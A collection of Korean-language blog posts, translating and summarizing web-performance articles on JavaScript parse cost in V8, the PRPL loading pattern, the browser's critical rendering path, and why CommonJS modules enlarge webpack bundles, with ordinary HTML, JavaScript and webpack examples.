![스크립트는 여러 chunck로 도착한다.](https://v8.dev/_img/cost-of-javascript-2019/script-streaming-1.svg)

![크롬 71에서는, 스케쥴러가 한번에 여러 `async` `deferred` 스크립트의 신택스를 분석할 수 있는작업기반 설정으로 이동했다. 이러한 변화는 메인 스래드의 파싱 시간이 20% 까지 감소하여 실제 웹사이트에서 측정한 전체적인 TTI/FID가 전체적으로 2%까지 개선되었다.](https://v8.dev/_img/cost-of-javascript-2019/script-streaming-2.svg)

크롬 72에서는, 스트리밍을 파싱을 하는 주요 방법으로 채택했다. 이제는 일반 동기식 스크립트도 동일하게 파싱된다. (인라인은 제외) 또한 메인 스레드에서 필요로 할 경우 이미 수행된 모든 작업을 불필요하게 복제하기 때문에, 작업 기반 구문분석을 취소하는 것을 중단했다.

이전 버전의 크롬은 스트리밍 파싱과 컴파일을 지원했는데, 여기에서 네트워크로 부터 들어오는 스크립트 소스 데이터가 스트리머로 전달되기 전에 크롬의 메인 스레드로 이동해야 했다.

이로 인해 스트리밍 파서는 이미 네트워크에서 도착한 데이터를 기다리는 경우가 많았지만, 메인 스레드의 다른 작업 (HTML파싱, 레이아웃, 또는 자바스크립트 실행 등) 에 의해 차단되서 아직 스트리밍 작업으로 전달되지 않았다.

## 실제 웹사이트에서는 어떤 변화가 일어 났는가?

![](https://v8.dev/_img/cost-of-javascript-2019/reddit-main-thread.svg)

레딧의 경우 100+kb의 번들이 몇개 있는데, 이번들은 외부 다른 함수에 의해 랩핑되어 있어서 메인스레드에 레이지 컴파일을 야기한다.

![](https://v8.dev/_img/cost-of-javascript-2019/facebook-main-thread.svg)

페이스북은 압축된 6mb 정도의 데이터를 최대 292개의 요청으로 부터 가져오는데, 몇개는 비동기로, preloaded로, 혹은 낮은 우선순위로 fetch 된다. 대부분의 스크립트는 작고 세분화되어 있다. 이러한 작은 스크립트는 스트리밍-파싱 / 컴파일을 할 수 있기 때문에 백가라운드 - worker 스레드에서 전체 병렬화에 많은 도움을 준다.

## JSON을 파싱하는데 드는 비용

JSON 문법은 자바스크립트 문법에 비해 간결하므로,JSON을 파싱하는 것이 자바스크립트를 파싱하는 것보다 더욱 효과적이다. 이 사실은 JSON 객체 리터럴을 필요로 하는 웹 앱의 시작 성능 향상에 적용할 수 있다.

```javascript
const data = {foo: 42, bar: 1337} // 🐌 객체 리터럴이라 느리다.
```

위 형식은 JSON 형식으로 바꿔 쓸 수 있고, 이는 런타임에서 더 빠르게 실행된다.

```javascript
const data = JSON.parse('{"foo":42,"bar":1337}') // 🚀
```

JSON 문자열은 딱 한번 수행되기 때문에, `JSON.parse` 접근은 자바스크립트 객체 리터럴에 비해 훨씬 빠르며, 특히 콜드 로드 시 더 두각을 나타낸다. 경험적으로 보았을때, 10kb 이상의 객체에 이기법을 적용하는 것이 효과적인데, 이를 적용하기 전에 실제로 테스트 해보기를 권한다.

![`JSON.parse`가 훨씬 더 파싱하고, 컴파일하고, 실행하기 빠르다.](https://v8.dev/_img/cost-of-javascript-2019/json.svg)

https://www.youtube.com/embed/ff4fgQxPaO0

## 재 방문시 파싱과 컴파일은 어떻게 이루어 지는가?

V8의 코드 캐싱 최적화가 도움을 줄 수 있다. 스크립트가 처음 요청되면 크롬이 다운로드 하여 V8에 전달하고, 이를 컴파일 한다. 이후 브라우저의 온디스크 캐시에 파일을 저장한다. 만약 JS 파일이 두번째로 요청되면, 크롬은 브라우저에서 캐시된 파일을 가져다가 다시 V8에 전달하여 컴파일 한다. 그러나 이번에는 컴파일된 코드가 직렬화 되어, 캐시된 스크립트 파일에 메타데이터로 첨부된다.

![](https://v8.dev/_img/cost-of-javascript-2019/code-caching.png)

세번째에는, 크롬은 캐시에서 파일과 파일의 메타데이터를 모두가져가서 V8에 넘겨준다.V8은 메타데이터를 역질렬화하여 컴파일을 건너 뛸 수 있다. 처음 두번의 방문이 72시간내에 이루어지면 코드 캐싱이 시작된다. 크롬은 또는 서비스 워커가 스크립트를 캐싱하는데 사용되는 경우 빠른 코드 캐싱을 할 수도 있다.

## 결론

- 다운로드 및 실행 시간은 2019년 스크립트 로딩의 주요 병목 현상이다.
- 화면의 처음 보이는 영역 (above-the-fold-content)와 나머지 페이지를 표현하기 위한 `defered` 스크립트 등을 작은 번들로 만드는 것을 목표로 하라.
- 사용자가 필요할 때 필요한 코드를 넘길 수 있도록 큰 번들을 분해하라.
  - 이는 V8에서 병렬화를 극대화 한다.
- 모바일에서는 느린 CPU, 네트워크, 메모리 소비, 실행시간으로 인해 훨씬 더 적은 스크립트를 제공해야 한다.
- latency와 cahceablility 사이에 가능한 균형을 유지하여, 메인스레드에서 발생할 수 있는 파싱 및 컴파일 작업의 양을 극대화 하라.

---

Source: https://yceffort.kr/2020/07/instant-loading-with-PRPL-pattern.md
Title: 빠른 로딩을 위한 PRPL 패턴
Description: [Apply instant loading with the PRPL pattern](https://web.dev/apply-instant-loading-with-prpl/)을 번역한 글입니다. PRPL은 웹 페이지를 로드하고 인터랙티브 할 수 있게 금 더욱 빠르게 만드는 패턴을 설명하는 약어다.  ## 요약  - 중요한 리소스를 미리 로드해라 (Push (...
Date: 2020-07-06
Tags: web-performance

[Apply instant loading with the PRPL pattern](https://web.dev/apply-instant-loading-with-prpl/)을 번역한 글입니다.

PRPL은 웹 페이지를 로드하고 인터랙티브 할 수 있게 금 더욱 빠르게 만드는 패턴을 설명하는 약어다.

## 요약

- 중요한 리소스를 미리 로드해라 (Push (or preload) the most important resources.)
- 최초 라우팅을 가능한 빠르게 렌더링해라 (Render the initial route as soon as possible.)
- 나머지 assets을 미리 캐싱해두어라 (Pre-cache remaining assets.)
- 기타 다른 라우팅과 덜 중요한 assets을 레이지 로딩 해라. (Lazy load other routes and non-critical assets.)

## Preload critical resources

[Preload](https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content) 속성은 브라우저에 가능한 빨리 리소스를 요청하도록 지시하는 선언적 fetch 요청이다. HTML 헤드에 있는 `<link/>` 태그에 `rel="preload"`를 붙이면 중요한 리소스를 미리 요청할 수 있다.

```html
<link rel="preload" as="style" href="css/style.css" />
```

브라우저는 이 선언을 보게 되면, `window.onload` 이벤트를 지연시키지 않는 선에서 해당 리소스에 우선순위를 두고 다운로드를 시도한다.

더욱 자세한 가이드는 [여기](https://web.dev/preload-critical-assets/)를 참고 하라.

## Render the initial route as soon as possible.

First paint를 향상 시키기 위해서는, 가장 중요한 자바스크립트 코드를 인라인으로 작성하고, 나머지를 자바스크립트와 css를 [async](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/adding-interactivity-with-javascript)로 작성해야 한다. 이는 렌더링을 막는 asset을 가져오기위한 서버 라운드 트립을 막음으로서 성능을 향상시킨다. 그러나 인라인 코드는 개발관점에서 유지하기가 어렵고 브라우저에 의해 별도로 캐시될 수 없으니 주의 해야 한다.

가능한 다른 방법으로는 최초 HTML 페이지를 서버사이드 렌더링에 맡기는 것이다. 이는 사용자가 스크립트를 가져오고, 파싱하고, 실행하는 시간동안에 의미있는 정보를 보여줄 수 있다. 그러나 이는 HTML 파일을 가져오는 페이로드를 증가시킬 수 있으며, 이는 [TTI](https://web.dev/interactive/) (사용자가 페이지와 상호작용하는데 걸리는 시간)에 악영향을 미칠 수도 있다.

First Paint를 향상시킬 수 있는 절대적인 방법은 없다. 따라서 인라인 스타일이나 서버사이드 렌더링을 하는데 있어서 장단점이 무엇인지를 알아야 한다.

- [CSS 가져오기를 최적화 하기](https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery)
- [서버사이드 렌더링이란 무엇인가](https://www.youtube.com/watch?v=GQzn7XRdzxY)

## Pre-cache assets

![서비스 워커에서의 요청과 응답](https://webdev.imgix.net/apply-instant-loading-with-prpl/service-workers.png)

서비스 워커는 매 방문시 서버에서 필요한 assets을 가져오는 것이 아니라 proxy 처럼 역할하여 assets을 제공한다. 이는 사용자가 오프라인 중에도 애플리케이션을 쓸 수 있게 끔 할 뿐만 아니라, 반복적으로 페이지에 접근했을 때 페이지 로딩을 빠르게 해준다.

일반적인 라이브러리가 제공하는 것 이상으로 복잡한 요구사항이 없다면, 써드 파티 라이브러리로 서비스 워커를 만들어 이 과정을 단순화 하는 것을 고려해봄직하다. 예를 들어 [WorkBox](https://web.dev/workbox)는 asset을 캐싱할 수 있는 서비스 워커를 만들고 유지할 수 있는 다양한 툴을 제공한다. 더 많은 서비스 워커에 대한 정보와 오프라인 상태의 유지에 대해 알고 싶다면, [Service worker guide](https://web.dev/service-workers-cache-storage)를 참고하라.

## Lazy load

웹페이지에는 다양한 asset이 있지만, 특히 구문 분석및 컴파일에 걸리는 시간으로 인해 큰 자바스크립트는 많은 비용을 소모한다. 가능한 자바스크립트를 작게 만들어 최초 페이지 로딩에 필요한 chunk 들만 내보내고, 나머지는 [lazy load](https://web.dev/reduce-javascript-payloads-with-code-splitting/) chunk로 분리하는 것이 좋다.

번들을 나눈 이후에는, 이 chunk들을 `preload` 하는 것이 더욱 중요하다. `Preloading`은 중요한 리소스에 대해서 더 빠르게 다운로드 할 수 있도록 브라우저에 명시한다.

웹 페이지에서 많은 양의 이미지를 로딩한다면, 화면 밖에서 표시되는 이미지에 대해서는 페이지가 로딩 될 때 나중에 로딩되도록 하는 것이 좋다. [lazysizes](https://github.com/aFarkas/lazysizes)라이브러리의 사용을 고려해보는 것도 좋다.

---

Source: https://yceffort.kr/2020/07/critical-rendering-path.md
Title: 주요 렌더링 경로 - 브라우저의 원리를 이해하고 최적화 하기
Description: [Critical Rendering Path](https://developers.google.com/web/fundamentals/performance/critical-rendering-path?hl=ko)를 요약했습니다. 이글을 보는게 더 나아요 사실 ```toc tight: true, from-heading: 2 to-heading: 3 ```   성...
Date: 2020-07-06
Tags: web-performance, browser

[Critical Rendering Path](https://developers.google.com/web/fundamentals/performance/critical-rendering-path?hl=ko)를 요약했습니다. 이글을 보는게 더 나아요 사실

## Table of Contents

성능 최적화를 위해서는 HTML, CSS, 자바스크립트를 바이트 단위로 수신 한 뒤 브라우저에서 렌더링된 픽셀로 변환하기 까지, 어떠한 일들이 있었는지 알아야 한다. 이러한 단계를 바로 `Critical Rendering Path`라고 한다.

![progressive page rendering](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/progressive-rendering.png?hl=ko)

## 객체 모델 생성

브랑루저가 페이지를 렌더링하기 위해서는 DOM과 CSSOM 트리를 생성해야 한다. 따라서 최대한 빠르게 이를 생성해서 넘겨야 한다.

먼저 바이트 코드로 넘어온 HTML과 CSS를 어떻게 처리하는지 알아야 한다.

![](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/full-process.png?hl=ko)

1. 바이트
2. 문자
3. 토큰
4. 노드
5. 객체모델

HTML은 DOM(Document Object Model)로, CSS는 CSSOM(CSS Object Model)로 변환된다. 이 둘은 독립적인 데이터 구조다.

이 DOM을 기준으로 브라우저는 이후 모든 페이지 처리에 이 DOM을 사용한다.

## 렌더링 트리 생성과 레이아웃 프린트

- DOM과 CSSDOM 이 만들어졌다면, 이 두 트리를 결합하여 렌더링 트리를 생성한다.
- 이 렌더링 트리에는 페이지를 렌더링하는데 필요한 노드만 포함된다. 예를 들어서 `display:none`으로 처리된 것은 렌더링 처리에서 누락된다.
- 레이아웃 단계에서는, 각 객체의 정확한 위치와 크기를 계산한다.
- 마지막으로 페인트 단계를 거치는데, 픽셀을 화면에 렌더링한다.

## 브라우저의 렌더링 단계 요약

1. HTML 을 처리해서 DOM 트리를 만든다
2. CSS 를 처리해서 CSSOM 트리를 만든다.
3. DOM과 CSSOM을 결합하여 렌더링 트리를 만든다
4. 렌더링 트리에서 레이아웃 처리를 통하여 각 객체의 위치와 크기를 계산한다
5. 마지막으로 개별노드를 페인트 한다.

주요 렌더링 경로를 최적화 하는 작업은 위 다섯가지의 단계를 최소화 하는 프로세스다.

## HTML과 CSS는 기본적으로 렌더링을 차단한다.

CSSOM이 생성되기 전까지, 브라우저는 처리되는 모든 컨텐츠를 렌더링하지 않는다. 따라서 가능한 간단하고 빠르게 제공해야 렌더링 차단을 최소화 할 수 있다. HTML도 마찬가지로, 렌더링을 차단하는 리소스다.

하지만 미디어 유형과 미디어 쿼리를 통해서 일부 리소스를 렌더링을 차단하지 않는 리소스로 선언할 수 있다.

```html
<!-- 기본적으로 렌더링을 차단한다. -->
<link href="style.css" rel="stylesheet" />
<!-- 위의 선언과 같다. -->
<link href="style.css" rel="stylesheet" media="all" />
<!-- 컨텐츠가 인쇄될 때만 적용된다. 따라서 렌더링이 차단되지 않는다.-->
<link href="print.css" rel="stylesheet" media="print" />
<!-- 브라우저가 해당 조건을 만족하면 차단된다. -->
<link href="other.css" rel="stylesheet" media="(min-width: 40em)" />
```

한 가지 중요한 것은, 위 미디어 쿼리가 있다고 하더라도 해당 리소스에 대해 초기 렌더링을 보류해야 하는지만 나타낸다. 어떤 경우든지, 브라우저는 CSS를 모두 다운받으며, 단지 초기 렌더링을 보류 해야하는지만을 나타낸다.

## 자바스크립트로 상호작용 추가

자바스크립트를 활용하면 페이지 대부분의 측면을 수정할 수 있다. DOM 요소를 추가하고 제거하거나, CSSOM 속성을 수정하는 등 거의 모든 측면에 관여할 수 있다.

이러한 점 때문에, 인라인 스크립트를 실행하면 DOM 생성이 차단되고, 이로 인해 초기 렌더링에도 지연이 발생하게 된다. 자바스크립트로는 DOM, CSSDOM 등에 관여할 수 있기 때문에 렌더링하는데 있어 지연이 발생할 수 있다.

따라서

- 문서의 스크립트 위치는 중요하다. 위치에 따라서 실행이 달라진다.
- 브라우저가 스크립트 태그를 만나면 스크립트가 종료될때까지 DOM 생성이 중단된다.
- 자바스크립트는 CSSOM이 준비될 때까지 일시 중단된다.

따라서 기본적으로, 자바스크립트의 실행은 파서를 차단한다. 그리고 만약 인라인 자바스크립트가 아닌, 스크립트 태그를 통해 포함된 자바스크립트가 있다면, 브라우저가 일시 중단하고, 디스크 / 캐시 / 원격 서버등에서 스크립트를 가져올 때 까지 기다리므로, 추가적인 지연이 더 발생하게 된다.

이를 방지 하기 위해서는 `async` 키워드를 추가하면 된다.

```html
<script src="app.js" async></script>
```

이를 추가하면, 스크립트가 사용가능 해질 때까지 기다리는 동안에도 DOM 생성을 계속해서 하게된다. 이경우 성능이 향상된다.

![](https://kimlog.me/static/7b56046cd820d53017f5fa7124ba2255/44a54/script_load.png)

> 일반적인 `script`는 다운로드하고 실행될 때까지 HTML 파싱을 멈추지만, `async`는 다운로드와 파싱을 동시에 진행한다. `defer`의 경우에는, 마찬가지로 다운로드를 동시에 진행하지만, 스크립트 실행이 맨뒤로 밀리게 된다.

## 주요 렌더링 경로 측정

해당 렌더링 경로를 측정하는 좋은 방법은 `LightHouse`를 이용하는 것이다.

![높은 우선순위를 가지고 로딩되는 리소스를 보여준다.](./images/naver-critical-request.png)

또는 [Navigation Timing API](https://developer.mozilla.org/ko/docs/Navigation_timing)를 활용하여 측정할 수도 있다.

```html
<!DOCTYPE html>
<html>
  <head>
    <title>Critical Path: Measure</title>
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <link href="style.css" rel="stylesheet" />
    <script>
      function measureCRP() {
        var t = window.performance.timing,
          interactive = t.domInteractive - t.domLoading,
          dcl = t.domContentLoadedEventStart - t.domLoading,
          complete = t.domComplete - t.domLoading
        var stats = document.createElement('p')
        stats.textContent =
          'interactive: ' +
          interactive +
          'ms, ' +
          'dcl: ' +
          dcl +
          'ms, complete: ' +
          complete +
          'ms'
        document.body.appendChild(stats)
      }
    </script>
  </head>
  <body onload="measureCRP()">
    <p>Hello <span>web performance</span> students!</p>
    <div><img src="awesome-photo.jpg" /></div>
  </body>
</html>
```

```text
interactive: 229ms, dcl: 230ms, complete: 956ms
```

![](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/dom-navtiming.png?hl=ko)

- `domLoading`: 전체 프로세스의 시작 타임스탬프. 브라우저가 처음 수신한 HTML 문서 바이트의 파싱 시작.
- `domInteractive`: 브라우저가 파싱을 완료한 시점을 표시. 모든 HTML 및 DOM 생성 작업이 완료됨을 의미.
- `domContentLoaded`: DOM이 준비되고 자바스크립트 실행을 차단하는 스타일시트가 없는 시점을 표시. 즉, 이제 (잠재적으로) 렌더링 트리를 생성할 수 있음. 많은 자바스크립트 프레임워크가 자체 로직을 실행하기 전에 이 이벤트를 기린다. 따라서 브라우저는 EventStart 및 EventEnd 타임스탬프를 캡처하여, 이를 통해 이 실행이 얼마나 오래 걸렸는지 추적할 수 있다.
- `domComplete`: 이름이 의미하는 바와 같이, 모든 처리가 완료되고 페이지의 모든 리소스(이미지 등) 다운로드가 완료되었음을 의미.
- `loadEvent`: 각 페이지 로드의 최종 단계로, 브라우저가 추가 애플리케이션 로직을 트리거할 수 있는 `onload` 이벤트를 트리거함.

## 주요 렌더링 경로 성능 분석

[예제 페이지](https://googlesamples.github.io/web-fundamentals/fundamentals/performance/critical-rendering-path/basic_dom_nostyle.html)를 통해 분석을 시작해보자.

![example1.png](./images/example.png)

`DOMContentLoaded`가 호출되는데 약 300ms 정도가 소요되었다. 그리고 이는 파란색 수직선으로 체크 되었다. 이미지 로딩은 이에 영향을 받지 않았다. 주요 렌더링 경로에는 HTML, CSS, 자바스크립트만 포함된다.

하지만 `load`이벤트는 이미지에서 차단되었다. `onload`는 따라서 모든 리소스가 다운로드 된 후에 호출된다는 것을 알 수 있다.

[이제 여기에 자바스크립트와 CSS를 추가해보자.](https://googlesamples.github.io/web-fundamentals/fundamentals/performance/critical-rendering-path/measure_crp_timing.html)

```html
<!DOCTYPE html>
<html>
  <head>
    <title>Critical Path: Measure Script</title>
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <link href="style.css" rel="stylesheet" />
  </head>
  <body onload="measureCRP()">
    <p>Hello <span>web performance</span> students!</p>
    <div><img src="awesome-photo.jpg" /></div>
    <script src="timing.js"></script>
  </body>
</html>
```

![example2.png](./images/example2.png)

`DOMContentLoaded`가 거의 `onload`와 동시에 호출된 것을 알 수 있다. 일반적인 HTML과는 다르게, CSSOM을 생성하기 위해 CSS 파일도 가져와야 한다. 또한 파서 차단 자바스크립트가 포함되어 있어 CSS 파일이 다운로드 될때까지 차단되어 있는 것을 볼 수 있다.

[이번엔 `async` 키워드를 추가해보자.](https://googlesamples.github.io/web-fundamentals/fundamentals/performance/critical-rendering-path/measure_crp_async.html)

![example3.png](./images/example3.png)

이번에는 HTML이 파싱된 이후에 `domContentLoaded`가 실행된 것을 볼 수 있다. 브라우저가 자바스크립트를 차단하지 않는다는 것을 알게 되었고, 다른 파서 차단 스크립트가 없으므로 CSSDOM 생성 또한 동시에 처리 가능하다.

만약 이 모든 코드를 인라인으로 때려박게 되면, 위의 예제와 비슷한 성능을 느낄 수 있다. HTML 페이지는 더 커지지만, 페이지 안에 모든 요소가 있으므로 외부 리소스가 올때까지 기다릴 필요가 없기 때문이다.

## 성능 분석

### 순수 HTML

```html
<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <title>Critical Path: No Style</title>
  </head>
  <body>
    <p>Hello <span>web performance</span> students!</p>
    <div><img src="awesome-photo.jpg" /></div>
  </body>
</html>
```

![pure html](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/analysis-dom.png?hl=ko)

### CSS 파일 추가

```html
<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <link href="style.css" rel="stylesheet" />
  </head>
  <body>
    <p>Hello <span>web performance</span> students!</p>
    <div><img src="awesome-photo.jpg" /></div>
  </body>
</html>
```

![css](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/analysis-dom-css.png?hl=ko)

CSS를 가져오기 위해 한번의 왕복이 더 추가되었고, 그만큼 렌더링도 밀려난 것을 볼 수 있다.

### CSS + 자바스크립트 추가

```html
<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <link href="style.css" rel="stylesheet" />
  </head>
  <body>
    <p>Hello <span>web performance</span> students!</p>
    <div><img src="awesome-photo.jpg" /></div>
    <script src="app.js"></script>
  </body>
</html>
```

![css+javascript](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/analysis-dom-css-js.png?hl=ko)

외부 자바스크립트 asset은 파서 차단 리소스 인 것을 명심하자. 자바스크립트 실행을 위해 작업을 차단하고 CSSDOM 이 생성되기 전까지 기다려야 한다.

한가지 눈여겨 봐야 할 점은, CSS와 자바스크립트 리소스 요청이 거의 동시에 이루어진다는 것이다. 두 리소스를 검색한 후 두 요청을 모두 동시에 실행 한다. 이는 CSS와 자바스크립트 전송을 동시에 할 수 있다는 것을 말한다.

### CSS + Async javascript

```html
<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="width=device-width,initial-scale=1" />
    <link href="style.css" rel="stylesheet" />
  </head>
  <body>
    <p>Hello <span>web performance</span> students!</p>
    <div><img src="awesome-photo.jpg" /></div>
    <script src="app.js" async></script>
  </body>
</html>
```

![css+async javascript](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/images/analysis-dom-css-js-async.png?hl=ko)

더 이상 스크립트가 파서를 차단하지 않고, 주요 렌더링 경로에도 포함되지 않았다. 또한 주요 스크립트가 없어서 CSS가 `domContentLoaded`이벤트를 차단하지도 않고, 따라서 애플리케이션 로직이 빠르게 실행되었다는 것을 알 수 있다.

## 주요 렌더링 경로 최적화

최초에 렌더링을 빠르게 하려면 다음의 경우를 고려해야 한다.

- 주요 리소스 수: 페이지의 초기 렌더링을 차단하는 리소스의 수. 최대한 적어야 한다.
- 주요 경로 길이 (얼마나 많은 리소스가 엮여 있는가): 주요 리소스와 해당 바이트 크기간의 그래프를 나타낸다. 일부 리소스는 이전 리소스가 다운된 후에만 시작할 수 있으며, 리소스가 클수록 다운로드 하는데 걸리는 왕복 수가 많아진다.
- 주요 바이트 수 (리소스의 크기): 당연히 작아야 한다.

## 페이지 스피드 규칙 및 권장 사항

- 렌더링 차단 스크립트 및 CSS 를 최소화
- 자바스크립트 사용최적화
  - `async` 속성을 적극적으로 활용
  - 중요하지 않은 비필수 자바스크립트 실행 지연
  - 길게 실행되는 자바스크립트 회피
- CSS 사용 최적화
  - CSS는 문서 헤드에 넣기
  - `@import`의 사용을 피하기. 이는 경로에 대한 왕복이 추가된다.
  - 렌더링 차단 CSS를 인라인으로 처리

---

Source: https://yceffort.kr/2020/07/how-commonjs-is-making-your-bundles-larger.md
Title: 왜 CommonJS는 번들사이즈를 크게 하는가?
Description: [How CommonJS is making your bundles larger](https://web.dev/commonjs-larger-bundles/) 를 번역 & 요약한 글입니다. ```toc tight: true, from-heading: 2 to-heading: 3 ```  **요약: 웹 애플리케이션을 확실하게 최적화해서 번들링하기 위해서는, C...
Date: 2020-07-05
Tags: web-performance

[How CommonJS is making your bundles larger](https://web.dev/commonjs-larger-bundles/) 를 번역 & 요약한 글입니다.

## Table of Contents

**요약: 웹 애플리케이션을 확실하게 최적화해서 번들링하기 위해서는, Common js 모듈을 사용하는 것을 피하고 ECMAS script module synatx를 사용하라**

## CommonJS란 무엇인가?

CommonJS는 2009년에 만들어진 표준으로, 자바스크립트 모듈을 만들기 위한 일종의 규칙이다. 이 방법은 원래 브라우저를 위해 개발된 것은 아니고, 서버사이드 애플리케이션을 위해 만들어졌다.

CommonJS 형식으로 모듈을 정의하면, 이를 export 할 수 있고, 다른 모듈에서 import 할 수 있다. 예를 들어, `add` `subtract` `multiply` `divide` `max`라고 하는 다섯가지 함수가 있다고 해보자.

```javascript
// utils.js
const {maxBy} = require('lodash-es')
const fns = {
  add: (a, b) => a + b,
  subtract: (a, b) => a - b,
  multiply: (a, b) => a * b,
  divide: (a, b) => a / b,
  max: (arr) => maxBy(arr),
}

Object.keys(fns).forEach((fnName) => (module.exports[fnName] = fns[fnName]))
```

이제 이것들을 다른 모듈에서 import 하여 사용할 수 있다.

```javascript
// index.js
const {add} = require('./utils')
console.log(add(1, 2))
```

2010년 초반에는 브라우저에 제대로 정착된 모듈 시스템이 부족했으므로, CommonJS는 이내 서버사이드 뿐만 아니라 클라이언트 사이드 라이브러리에도 유명한 표준으로 자리 잡았다.

## CommonJS가 최종 모듈 사이즈에 어떻게 영향을 미치는가?

서버사이드 자바스크립트 애플리케이션의 사이즈는 브라우저만큼 치명적이지는 않으므로, 애초에 딱히 CommonJS를 만들 때는 딱히 프로덕션 번들 사이즈를 줄이는 것에 대한 고려가 되지 않았었다. [https://v8.dev/blog/cost-of-javascript-2019](https://v8.dev/blog/cost-of-javascript-2019) 의 결과에 따르면, 자바스크립트의 번들 사이즈는 브라우저 애플리케이션을 느리게 하는 주범으로 밝혀졌다.

자바스크립트를 번들링하고 최소화하는 `webpack`과 `terser`의 경우, 서로 다른 방식으로 앱 크기를 줄이는 최적화를 진행한다. 빌드 시 애플리케이션을 분석하는 과정에서, 이들은 코드에서 최대한 사용하지 않는 코드를 삭제하려고 한다.

예를 들어, 위의 코드에서의 경우에는 - `add`함수만 사용하고 있으므로, `utils.js`에는 오로지 `add`만 사용하고 있으므로 `add`외에는 모든 것이 지워질 것이라 기대해볼 수 있다.

아래와 같은 webpack 설정으로 빌드를 진행해보자.

```javascript
const path = require('path')
module.exports = {
  entry: 'index.js',
  output: {
    filename: 'out.js',
    path: path.resolve(__dirname, 'dist'),
  },
  mode: 'production',
}
```

이 설정에서는 `index.js`를 엔트리 포인트로 진행하고, 프로덕션 빌드 최적화를 진행했다. `webpack` 을 실행한 뒤에는 [최종 결과물을 확인](https://github.com/mgechev/commonjs-example/blob/master/commonjs/dist/out.js)해볼 수 있는데, 아래와 같다.

```shell
$ cd dist && ls -lah
625K Apr 13 13:04 out.js
```

번들 사이즈가 625kb라는 것에 주목하라. `utils.js` 함수를 살펴보면, `lodash`로 부터 생성된 온갖 모듈들이 추가되어 있음을 볼 수 있다. `index.js`에서는 그 어떠한 `loadsh`패키지를 사용하지 않았지만, 프로덕션 에셋에는 엄청난 부분을 차지하고 있음을 볼 수 있다.

같은 코드를 [ECMAScript modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import)을 사용해보자.

```javascript
export const add = (a, b) => a + b
export const subtract = (a, b) => a - b
export const multiply = (a, b) => a * b
export const divide = (a, b) => a / b

import {maxBy} from 'lodash-es'

export const max = (arr) => maxBy(arr)
```

```javascript
import {add} from './utils'

console.log(add(1, 2))
```

그 결과물을 보면, 빌드한 결과 [단 40바이트](https://github.com/mgechev/commonjs-example/blob/master/esm/dist/out.js) 만으로 완성되었음을 알 수 있다.

```javascript
;(() => {
  'use strict'
  console.log(1 + 2)
})()
```

최종 번들 결과물에는, `utils.js`에 선언된 코드 뿐만 아니라, `lodash`도 찾아 볼 수 없다. 더욱이, `terser`는 심지어 이 `add`함수를 인라인으로 처리해버렸음을 알 수 있다.

왜 CommonJS의 빌드 결과물이 16000배나 더 컸을까? 물론 이는 단순한 토이 프로젝트 였으므로 실제 웹 애플리케이션 사이즈와 비교했을 때 이정도 차이는 없겠지만, 여전히 CommonJS는 프로덕션 빌드에서 많은 부분을 차지하고 있음을 알 수 있다.

**CommonJS 모듈은 일반적으로 최적화를 진행하기가 어렵다. 그 이유는 ES Module 대비 더 다이나믹한 방식을 취하고 있기 때문이다. bundler와 minifier 가 성공적으로 애플리케이션을 최적화 할 수 있게 하려면, CommonJS 모듈을 사용하는 것 보다 ECMAScript module syntax를 전체 애플리케이션에 사용하는 것이 좋다.**

아무리 `index.js`를 ECMAScript 모듈 방식으로 처리했어도, 다른 모듈 사용을 CommonJS방식으로 한다면, 번들 사이즈는 고통 받을 것이다.

## 왜 CommonJS는 애플리케이션 사이즈를 더 크게 하는가?

이 질문에 답을 하기 위해서는, `webpack`의 `ModuleConcatenationPlugin`이 어떻게 동작하는지 살펴볼 필요가 있다. 그리고, 정적 분석에 대해 살펴보아야 한다. (static analyzability) 이 플러그인은 모든 모듈의 범위를 하나의 클로저로 연결하고, 코드가 브라우저에서 더 빠르게 실행할 수 있도록 도와준다.

> In the past, one of webpack’s trade-offs when bundling was that each module in your bundle would be wrapped in individual function closures. These wrapper functions made it slower for your JavaScript to execute in the browser. In comparison, tools like Closure Compiler and RollupJS ‘hoist’ or concatenate the scope of all your modules into one closure and allow for your code to have a faster execution time in the browser.

[ModuleConcatenationPlugin](https://webpack.js.org/plugins/module-concatenation-plugin/)

> 과거 웹팩에서는 함수를 각각의 클로저에 번들링 해두었지만, 이제는 모든 모듈을 하나의 클로저에 묶어두어 브라우저에서 더욱 빠르게 실행 될 수 있도록 한다.

```javascript
// utils.js
export const add = (a, b) => a + b
export const subtract = (a, b) => a - b
```

```javascript
// index.js
import {add} from './utils'
const subtract = (a, b) => a - b

console.log(add(1, 2))
```

ECMA module을 사용한 위의 예제 `index.js`를 살펴보자. 여기에선 `substract` 함수를 정의했다. 그리고 이를 `webpack`으로 빌드하는 대신, minimization옵션을 꺼볼 것이다.

```javascript
const path = require('path');

module.exports = {
  entry: 'index.js',
  output: {
    filename: 'out.js',
    path: path.resolve(__dirname, 'dist'),
  },
  optimization: {
    minimize: false
  },
  mode: 'production',
};
Let us look at th
```

그 결과물을 보자

```javascript
/******/ (() => { // webpackBootstrap
/******/   "use strict";

// CONCATENATED MODULE: ./utils.js**
const add = (a, b) => a + b;
const subtract = (a, b) => a - b;

// CONCATENATED MODULE: ./index.js**
const index_subtract = (a, b) => a - b;**
console.log(add(1, 2));**

/******/ })();
```

모든 함수가 같은 네임스페이스 안에 정의되어 있음을 알 수 있다. 그리고 충돌을 막기 위해서, `index.js`의 `substract` 함수를 `index_substract`로 변경했음을 알 수 있다.

만약 위 코드에서 minifier 처리가 진행되었다면

- 사용하지 않는 `substract` `index_substract` 삭제
- 필요없는 모든 주석과 공백삭제
